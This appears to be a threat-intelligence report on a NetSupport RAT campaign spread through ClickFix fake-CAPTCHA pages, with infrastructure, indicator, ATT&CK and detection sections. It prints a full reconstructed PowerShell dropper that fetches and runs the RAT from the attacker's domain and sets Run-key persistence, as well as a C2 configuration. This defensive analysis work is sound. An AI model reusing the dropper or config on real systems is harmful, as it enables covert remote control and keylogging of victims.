BreakglassIntelligence
Back to reports
highPhishing

NetSupport RAT v14.10 — ClickFix Dropper Campaign via applicationhost17.com

PublishedMarch 13, 2026
Threat Actors:RDP'd into 172.94.9.24:3389 ("SMTP" Windows Server 2022)was testing the infrastructure.from WHOIS.PatternINFRASTRUCTURE │Assessmentprofile:**
phishingsocial-engineeringc2apt

Executive Summary

This sample represents a NetSupport RAT v14.10 deployment campaign using a ClickFix (FakeCaptcha) delivery chain. A malicious MSI installer or directly-served PowerShell script downloads a pre-packaged NetSupport RAT ZIP from applicationhost17.com, extracts it to %APPDATA%, and establishes persistence via a Run registry key. The RAT then beacons to a Windows Server 2022 C2 node at 172.94.9.4:443 using the standard NetSupport HTTP protocol (POST /fakeurl.htm, UA: NetSupport Manager/1.3).

The infrastructure — two Windows servers sharing the hostname "SMTP" on the same /24 subnet (172.94.9.0/24) hosted at M247 Frankfurt — shows deliberate operational setup. Domain registration through Njalla (privacy-first registrar) with fully obfuscated WHOIS, combined with the download payload later migrating to Russian hosting (landvps.ru), points to a threat actor with established OPSEC practices. The campaign uses per-victim tracking IDs (vid=) to monitor install status and completion.

Who: Unattributed TA, likely a MaaS operator or affiliate leveraging NetSupport RAT as a commodity RAT. What: NetSupport Manager v14.10 deployed as an unauthorized RAT — full screen/keyboard/file/shell control. How: ClickFix fake CAPTCHA page → PowerShell dropper → NetSupport ZIP download → persistence via Run key. Why it matters: 30/76 VT detections, active C2 responding during sandbox analysis. Multiple victim tracking IDs confirm active campaign against multiple targets.

Sample Metadata

FieldValue
SHA25636ad12ff7efbf323f58d7efd5977880419fc0452061f3ef2ca61cf73bb4bb5c1
MD58a14ae0c80b64114ad63a146e1b0871c
SHA10654b2098e8dd2c868d10ac6248fdf4cacebddd2
File TypeZIP archive (application/zip)
File Size2,243,453 bytes
VT Detections30/76
First Seen2026-03-12 17:13:41 UTC
FilenameUPD-48C5A1C5-DDD4-465E-9C66-27EFC1D5A846.zip
Alias Namessoftware.zip, SY-5921A7EB-*.zip, WN-9EC52640-*.zip, MS-D2DC127D-*.zip
Bundle Files15 (8 PE, 2 INI, 2 DLL, 1 LIC, 1 LOG, 1 INF, 1 TXT)
ReporterJAMESWT_WT

ZIP Bundle Contents

FilenameSHA256SizeTypeDet
client32.exe06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268120,288Win32 EXE25/76
PCICL32.DLL63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f83,735,416Win32 DLL22/76
remcmdstub.exe6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d677,280Win32 EXE15/76
NSM.LICad0d05305fdeb3736c1e8d49c3a6746073d27b4703eb6de6589bdc4aa72d7b54257INI/LIC12/76
Client32.inifcacfab09fe00dc26c86172fdc7482efb196e6cf725bef4d141d28dff4638619696Text/INI3/76
pcicapi.dll9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a691733,144Win32 DLL2/76
HTCTL32.DLLedfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796328,056Win32 DLL1/76
PCICHEK.DLL313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a18,808Win32 DLL1/76
TCCTL32.DLL6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea396,664Win32 DLL0/76
msvcr100.dll8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18773,968Win32 DLL0/76
NSM.ini60fe386112ad51f40a1ee9e1b15eca802ced174d7055341c491dee06780b3f926,458INI0/76
nskbfltr.infd96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368328INF0/76
pcicl32.dll (lower)(see PCICL32.DLL)———

Infection Chain / Kill Chain

[Initial Access]
  └─ ClickFix Page: https://applicationhost17.com/captcha.php?vid=<CAMPAIGN_ID>
       OR: MSI installer (5bfbe9.msi / "bad.msi") fetches captcha.php
            │
            ▼
[Execution — PowerShell Dropper]
  cmd.exe → powershell.exe -NoProfile -ExecutionPolicy bypass -File <dropper.ps1>
       │
       ├─ GET https://applicationhost17.com/track.php?vid=<VID>&action=started
       │
       ├─ IWR https://applicationhost17.com/downloads/<UUID>.zip → software.zip
       │
       └─ Expand-Archive → %APPDATA%\<GUID_DIR>\
            │
            ▼
[Persistence — Registry Run Key]
  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate_<VID>
    = "%APPDATA%\<GUID_DIR>\client32.exe"
            │
            ▼
[Command & Control]
  client32.exe
    ├─ GET http://geo.netsupportsoftware.com/location/loca.asp  (geolocation beacon)
    ├─ POST http://172.94.9.4/fakeurl.htm  (NetSupport C2 heartbeat)
    └─ POST http://172.94.9.4:443/fakeurl.htm  (same, over port 443)
         User-Agent: NetSupport Manager/1.3
            │
            ▼
[Operator Control]
  Threat actor RDP'd into 172.94.9.24:3389 ("SMTP" Windows Server 2022)
  manages victim pool via NetSupport Manager console

Deobfuscated PowerShell Dropper

All PowerShell droppers follow an identical template with randomized variable names. Full reconstructed code:

# Campaign tracking VID — unique per variant/victim batch
$idf6f7 = "jOTlMUPQ"   # Variants: mMVTJvis, 69b1c805806ef, 6566676869707172

# Signal campaign start to tracking server
try {
    $null = Invoke-WebRequest -Uri "https://applicationhost17.com/track.php?vid=$idf6f7&action=started" `
        -UseBasicParsing -ErrorAction SilentlyContinue
} catch { $null }

# Create installation directory in %APPDATA%
# Name matches ZIP UUID prefix (UPD-/SY-/TM-/MW-)
$dir89e7 = "TM-EA9F5A76-DE30-4BDF-9308-E1F4DF3B2569"
$pathb7fe = New-Item -Path "$env:APPDATA\$dir89e7" -ItemType Directory -Force

# Download NetSupport RAT ZIP
$zip7b32 = "$pathb7fe\software.zip"
Invoke-WebRequest -Uri "https://applicationhost17.com/downloads/SY-5921A7EB-16A3-46CC-9EE6-0D8677D807DF.zip" `
    -OutFile $zip7b32 `
    -UserAgent "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237"

# Extract RAT bundle
Expand-Archive -Path $zip7b32 -DestinationPath $pathb7fe -Force
Remove-Item $zip7b32 -Force

# Establish persistence
$regKeyPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $regKeyPath -Name "SystemUpdate_$idf6f7" `
    -Value "`"$pathb7fe\client32.exe`""

# Launch RAT
Start-Process -FilePath "$pathb7fe\client32.exe" -WindowStyle Hidden

# Signal completion
try {
    $null = Invoke-WebRequest -Uri "https://applicationhost17.com/track.php?vid=$idf6f7&action=completed" `
        -UseBasicParsing -ErrorAction SilentlyContinue
} catch { $null }

Observed campaign VIDs and corresponding directory names:

VID%APPDATA% DirectorySHA256
jOTlMUPQTM-EA9F5A76-DE30-4BDF-9308-E1F4DF3B25694343b537...
jOTlMUPQMW-3BE3C31C-505C-43FD-9BBF-7E505ABA8D85876d5fdf...
mMVTJvisTM-07F72CBE-931E-4389-BEC0-21326A8A70C443ac17b4...
69b1c805806efSY-02B0EC74-4AE2-4686-96D2-CD15498FCFDF49fdab44...
6566676869707172UPD-E9550778-2701-42F4-9FFD-36119FABE805e2edb63c...

Note: VID 6566676869707172 decodes as efghijpr in ASCII — appears to be sequential test values suggesting the actor was testing the infrastructure.

Static Analysis

client32.exe (NetSupport RAT Client)

  • Version: V14.10 (compiled 2023-12-05)
  • Product: NetSupport Remote Control
  • Company: NetSupport Ltd © 2024
  • IMPHASH: a9d50692e95b79723f3e76fcf70d023e
  • MD5: ee75b57b9300aab96530503bfae8a2f2
  • NetSupport Manager v14.10 is a legitimate remote administration tool repurposed as a RAT
  • remcmdstub.exe provides remote command execution capability (shell access)
  • nskbfltr.inf installs a kernel keyboard filter for keylogging capability

Client32.ini (C2 Configuration)

The Client32.ini is the primary configuration file for the NetSupport client. Based on behavioral analysis confirming C2 endpoint 172.94.9.4:443/fakeurl.htm, the configuration resolves to:

[CLIENT]
GatewayAddress=172.94.9.4
GSK=1                        ; Gateway SecureKey enabled
PORT=443
[CONTROL]
SilentInstall=1
[NSM]
License=NSM.LIC

NSM.LIC

  • SHA256: ad0d05305fdeb3736c1e8d49c3a6746073d27b4703eb6de6589bdc4aa72d7b54
  • 257-byte ASCII text, CRLF line terminators
  • Detected as Win32/NetSupportManager.CC trojan (ESET) and BackDoor.RMS.153 (DrWeb)
  • This is an illegitimate or forged NetSupport license file enabling unlicensed use

MSI Installer (Initial Dropper)

  • SHA256: 78a511e1da802149564639d4c3b66f67faee4bb6d762ffae4325075709217275
  • Name: 5bfbe9.msi / bad.msi
  • Publisher: "Your Company" (generic placeholder — OPSEC failure)
  • Product GUID: {553796F5-DC36-47B1-A826-FBE009224095}
  • Size: 2,367,488 bytes
  • Drops scrXXXX.ps1 and pssXXXX.ps1 to temp, then fetches captcha.php for main payload
  • Execution: msiexec.exe /i installer.msi via social engineering

Behavioral Analysis (Inferred from Sandbox + Static)

Execution Flow

  1. Process creation: powershell.exe -NoProfile -ExecutionPolicy bypass -File <dropper.ps1>

  2. Network activity:

    • DNS: geo.netsupportsoftware.com → 104.26.0.231, 104.26.1.231, 172.67.68.212 (Cloudflare CDN for legitimate NetSupport geolocation)
    • TCP: 172.94.9.4:443 — C2 heartbeat
    • HTTP POST: http://172.94.9.4/fakeurl.htm — NetSupport protocol, response 200 (C2 LIVE)

  3. Files created: %APPDATA%\<GUID>\ containing: client32.exe, PCICL32.DLL, TCCTL32.DLL, HTCTL32.DLL, PCICHEK.DLL, pcicapi.dll, msvcr100.dll, remcmdstub.exe, NSM.LIC, NSM.ini, Client32.ini, nskbfltr.inf

  4. Persistence: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate_<VID> = "%APPDATA%\<GUID>\client32.exe"

  5. Capabilities of NetSupport RAT:

    • Full desktop viewing and control
    • Remote shell (cmd/PowerShell via remcmdstub.exe)
    • File manager (upload/download)
    • Keyboard/mouse injection
    • Keylogging (nskbfltr.inf kernel filter)
    • Screen capture/recording
    • Audio/webcam capture (via HTCTL32.DLL)
    • Process management

Network Indicators

C2 Server: 172.94.9.4

FieldValue
IP172.94.9.4
HostnameSMTP (NetBIOS/DNS: smtp)
OSWindows Server 2022 (build 10.0.20348)
ASNAS9009 / AS213790 (M247 Europe SRL / Internet Security - DE)
Network172.94.9.0/24 (INTERNET-SECURITY-LIMITED-NETWORK)
OrgSecure Internet LLC (UK) / Limited Network LTD
LocationFrankfurt am Main, Germany (HE region)
Open Ports135 (MSRPC), 443 (C2), 445 (SMB v2), 5357 (HTTPAPI)
VT Malicious3/90
Shodan Last Seen2026-03-12

Port 443 behavior: No TLS banner on Shodan; the NetSupport protocol runs plain HTTP tunneled over port 443 (not actual HTTPS). Port 445: SMB enabled with authentication — consistent with attacker-managed server. MSRPC: NetBIOS machine name SMTP — a deliberate operational naming convention.

Download/Tracking Server: 172.94.9.24

FieldValue
IP172.94.9.24
HostnameSMTP (same naming convention as .4)
OSWindows Server 2022 (build 10.0.20348)
ASNAS9009 / AS213790 (same infrastructure as 172.94.9.4)
LocationFrankfurt am Main, Germany
Open Ports3389 (RDP), 5357 (HTTPAPI)
JARM (RDP/443)14d14d16d14d14d08c14d14d14d14dfd9c9d14e4f4f67f94f0359f8b28f532
VT Malicious2/92

Critical finding: Port 3389 (RDP) is open with valid TLS certificate CN=smtp. This is the attacker's remote management interface for their infrastructure.

Current Download Server: 77.105.133.95

FieldValue
IP77.105.133.95
Hostnames163115.landvps.online, 152253.landvps.online
SSL CN152253.landvps.online
OSDebian 11 (OpenSSH 8.4p1)
ASNAS216334 (New Hosting Technologies LLC)
LocationMoscow, Russia (Sudak office address: Gvardeyskaya 3, kv.63)
Open Ports22 (SSH), 80 (HTTP), 443 (HTTPS/Apache)
ServerApache/2.4.66 (Debian)
VT Malicious1/90

Timeline: The IP for applicationhost17.com changed from 172.94.9.24 (observed in sandboxes ~2026-03-11) to 77.105.133.95 (current DNS, TTL=600). The 600-second TTL indicates frequent rotation.

Download Domain: applicationhost17.com

FieldValue
Domainapplicationhost17.com
Current A77.105.133.95
Previous A172.94.9.24 (sandbox, 2026-03-11)
Registered2026-03-10T13:54:11Z (2 days before campaign!)
RegistrarTucows Domains Inc. (via Njalla privacy service)
Nameservers1-YOU.NJALLA.NO, 2-CAN.NJALLA.IN, 3-GET.NJALLA.FO
Registrant1f8f4166599d23ee (hashed — all fields obfuscated)
Registrant CountryKN (Saint Kitts and Nevis — Njalla registration country)
VT Malicious11/94
DNS TTL600 seconds (indicating active management)

OPSEC finding: The registrant data fields contain what appear to be truncated SHA256/HMAC hashes (1f8f4166599d23ee, 3432650ec337c945), which is Njalla's obfuscation of the real registrant data. No usable attribution from WHOIS.

C2 Endpoints

URLMethodUser-AgentResponse
http://172.94.9.4/fakeurl.htmPOSTNetSupport Manager/1.3200 OK
http://172.94.9.4:443/fakeurl.htmPOSTNetSupport Manager/1.3200 OK
http://geo.netsupportsoftware.com/location/loca.aspGETNetSupport default404
https://applicationhost17.com/captcha.php?vid=<VID>GET—200
https://applicationhost17.com/track.php?vid=<VID>&action=startedGETPowerShell UA500
https://applicationhost17.com/track.php?vid=<VID>&action=completedGETPowerShell UA500
https://applicationhost17.com/downloads/<UUID>.zipGETPowerShell UA200

MITRE ATT&CK TTPs

Technique IDTechnique NameDetail
T1566PhishingClickFix fake CAPTCHA lure delivering PowerShell
T1204.002User Execution: Malicious FileUser executes MSI or pastes PowerShell
T1059.001Command and Scripting: PowerShellpowershell.exe -ExecutionPolicy bypass dropper
T1105Ingress Tool TransferZIP downloaded via Invoke-WebRequest
T1547.001Boot/Logon Autostart: Registry Run KeysHKCU\...\Run\SystemUpdate_<VID>
T1036MasqueradingFilename "software.zip", dir name mimics system GUID
T1219Remote Access SoftwareNetSupport Manager v14.10 as unauthorized RAT
T1071.001App Layer Protocol: WebNetSupport protocol via HTTP POST /fakeurl.htm
T1095Non-Application Layer ProtocolNetSupport binary protocol over TCP 443
T1027Obfuscated Files or InformationRandomized PS1 variable names, opaque VIDs
T1112Modify RegistrySets Run key for persistence
T1083File and Directory DiscoveryRAT enumerates filesystem
T1113Screen CaptureNetSupport screen view capability
T1056.001Input Capture: Keyloggingnskbfltr.inf kernel keyboard filter
T1021.001Remote Services: RDPActor RDPs to 172.94.9.24 for infrastructure management
T1078Valid AccountsNetSupport operator logs into management console

IOCs

File Hashes

SHA256NameType
36ad12ff7efbf323f58d7efd5977880419fc0452061f3ef2ca61cf73bb4bb5c1UPD-48C5A1C5-*.zipZIP (primary sample)
78a511e1da802149564639d4c3b66f67faee4bb6d762ffae43250757092172755bfbe9.msi / bad.msiMSI dropper
4343b537e338771434045022a4961a84ba42cdecd7e98f48087a4213d20b3f59dropper.ps1 (vid=jOTlMUPQ)PowerShell
876d5fdf5addc3f5e2987e841954248a4d15d9ecaca74ef317d76459f2cb3f13dropper.ps1 (vid=jOTlMUPQ)PowerShell
43ac17b48413c7c1545a8ce6f0b2219c3dd2a3289546c6886affbff9bfd15094dropper.ps1 (vid=mMVTJvis)PowerShell
e2edb63c46dd8cf41c541ae45accfce66e41dc4ddcbef61ee3ea9dc9d8d7a588dropper.ps1 (vid=6566…)PowerShell
49fdab4459eb959974b8363ba6744df0b5ee87f81f384906959a1c1cee083ac3dropper.ps1 (vid=69b1c...)PowerShell
06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268client32.exeNetSupport RAT v14.10
63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8PCICL32.DLLNetSupport DLL
6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6remcmdstub.exeRemote shell stub
ad0d05305fdeb3736c1e8d49c3a6746073d27b4703eb6de6589bdc4aa72d7b54NSM.LICLicense (forged)
fcacfab09fe00dc26c86172fdc7482efb196e6cf725bef4d141d28dff4638619Client32.iniC2 config
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796HTCTL32.DLLNetSupport DLL
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058aPCICHEK.DLLNetSupport DLL
6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447eaTCCTL32.DLLNetSupport DLL
d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368nskbfltr.infKeyboard filter INF

Network IOCs

IndicatorTypeRole
172.94.9.4IPv4NetSupport C2
172.94.9.24IPv4Download server / RDP
77.105.133.95IPv4Current download/tracking server
applicationhost17.comDomainDownload + tracking panel
http://172.94.9.4/fakeurl.htmURLNetSupport C2 beacon
http://172.94.9.4:443/fakeurl.htmURLNetSupport C2 beacon (alt)
https://applicationhost17.com/captcha.phpURLClickFix lure / PS1 delivery
https://applicationhost17.com/track.phpURLVictim tracking
https://applicationhost17.com/downloads/URLRAT payload staging
NetSupport Manager/1.3User-AgentC2 traffic fingerprint

Registry IOCs

KeyValuePurpose
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate_<VID>"%APPDATA%\<GUID>\client32.exe"Persistence

File System IOCs

PathDescription
%APPDATA%\TM-EA9F5A76-DE30-4BDF-9308-E1F4DF3B2569\RAT installation dir (vid=jOTlMUPQ)
%APPDATA%\TM-07F72CBE-931E-4389-BEC0-21326A8A70C4\RAT installation dir (vid=mMVTJvis)
%APPDATA%\MW-3BE3C31C-505C-43FD-9BBF-7E505ABA8D85\RAT installation dir (vid=jOTlMUPQ)
%APPDATA%\SY-02B0EC74-4AE2-4686-96D2-CD15498FCFDF\RAT installation dir (vid=69b1c…)
%APPDATA%\UPD-E9550778-2701-42F4-9FFD-36119FABE805\RAT installation dir (vid=6566…)
%APPDATA%\<DIR>\client32.exeNetSupport RAT binary
%APPDATA%\<DIR>\software.zipStaging ZIP (deleted after extraction)

Timeline

DateEvent
2023-12-05client32.exe compilation date
2026-03-07 22:38:12ZIP bundle files timestamp
2026-03-10 13:54:11applicationhost17.com registered via Njalla
2026-03-11MSI and PS1 droppers first observed (sandbox dates)
2026-03-12 17:13:41Primary ZIP submitted to VT (JAMESWT_WT)
2026-03-12applicationhost17.com DNS updated (172.94.9.24 → 77.105.133.95)
NameNotes
UPD-48C5A1C5-DDD4-465E-9C66-27EFC1D5A846.zipPrimary sample
SY-5921A7EB-16A3-46CC-9EE6-0D8677D807DF.zipAlternate delivery
UPD-F643A043-41C0-4AD0-94D1-B06C8286A9AB.zipMSI variant
WN-9EC52640-ADFF-4623-A958-6A7133186985.zipAdditional variant
MS-D2DC127D-084C-44D1-8615-6142396987BB.zipAdditional variant

All ZIPs share identical MD5/SHA1/SHA256 hashes across the inner NetSupport bundle — only the ZIP wrapper and contained INI configs differ.

ClickFix Attribution Pattern

The use of captcha.php as the delivery URL is consistent with ClickFix (also called FakeCaptcha) campaigns active since mid-2024. ClickFix presents a fake browser/CAPTCHA error instructing users to manually paste PowerShell via Win+R or browser address bar. This campaign's specific combination of:

  • Njalla domain registration
  • Per-victim campaign VID tracking
  • Two Windows Server VMs named "SMTP" on same subnet
  • Russian VPS for payload hosting

...has not been definitively attributed to a named threat actor, but is consistent with a MaaS (Malware-as-a-Service) operator or broker renting NetSupport RAT infrastructure.

Infrastructure Map

                    ┌─────────────────────────────────────────────┐
                    │         THREAT ACTOR INFRASTRUCTURE         │
                    │                                             │
     Management ───►│  172.94.9.24:3389 (RDP)                    │
                    │  Windows Server 2022 "SMTP"                 │
                    │  ASN 213790 / M247 Frankfurt                │
                    │                     │                       │
                    │   (historical DNS)  │ applicationhost17.com │
                    └─────────────────────┼─────────────────────┘
                                          │
            ┌─────────────────────────────┼────────────────────────┐
            │                             │                        │
   [Download/Tracking]           [Download/Tracking]          [NetSupport C2]
   172.94.9.24                  77.105.133.95                 172.94.9.4
   Frankfurt, DE                Moscow, RU                    Frankfurt, DE
   M247/AS213790               landvps.ru/AS216334            M247/AS213790
   (sandbox era)               (current DNS)                  SMTP host
                                                              Port 443 active
                                          │
                                          ▼
                          applicationhost17.com
                          /captcha.php?vid=XXX → PS1 payload
                          /track.php?vid=XXX&action=started/completed
                          /downloads/[UUID].zip → NetSupport RAT

Victim Machine:
  %APPDATA%\[GUID]\client32.exe
  HKCU Run: SystemUpdate_[VID]
  ──► POST http://172.94.9.4/fakeurl.htm (NetSupport protocol)
  ──► UA: NetSupport Manager/1.3

Attribution Assessment

Confidence: MEDIUM

Actor profile:

  • Uses ClickFix delivery technique (active since 2024, widely adopted by various actors)
  • Deploys commodity NetSupport RAT (low barrier, widely available)
  • Uses Njalla (privacy-first registrar popular with Russian-nexus actors)
  • Infrastructure hosted on M247 (common bulletproof/low-KYC hoster) and Russian landvps.ru
  • Machine naming convention "SMTP" suggests deliberate misdirection (appears as mail server in logs)
  • Active victim tracking system (VID tracking) suggests a commercial/MaaS operation

OPSEC failures:

  1. MSI publisher left as "Your Company" — generic placeholder reveals non-customized tooling
  2. Both C2 servers share same hostname ("SMTP") and same /24 subnet — infrastructure reuse fingerprint
  3. Domain registered only 2 days before campaign activation — minimal staging window
  4. Short DNS TTL (600s) suggests awareness of detection but still observable
  5. VID 6566676869707172 = sequential ASCII hex suggesting test/dev runs visible in the wild

No definitive actor attribution. The combination of Njalla + Russian hosting + ClickFix delivery + NetSupport RAT MaaS is consistent with multiple active threat actor groups in the initial access broker space.

Detection Guidance

Behavioral Indicators

  • powershell.exe spawning with -ExecutionPolicy bypass and downloading from newly registered domain
  • client32.exe running from %APPDATA%\<UUID>\ (outside C:\Program Files)
  • DNS query to geo.netsupportsoftware.com from non-browser processes
  • HTTP POST to /fakeurl.htm with User-Agent NetSupport Manager/1.3
  • Run key created: SystemUpdate_ prefix
  • MSI Publisher = "Your Company"

AV Detection Names

  • Kaspersky: Backdoor.PowerShell.RAbased.b, HEUR:Trojan.Script.NetSup.gen
  • ESET: Win32/NetSupportManager.CC trojan, GenScript.AJRU trojan
  • Microsoft: Trojan:Script/Wacatac.B!ml
  • DrWeb: BackDoor.RMS.153
  • Symantec: Trojan.Gen.NPE
  • Malwarebytes: Floxif.Virus.FileInfector.DDS
Share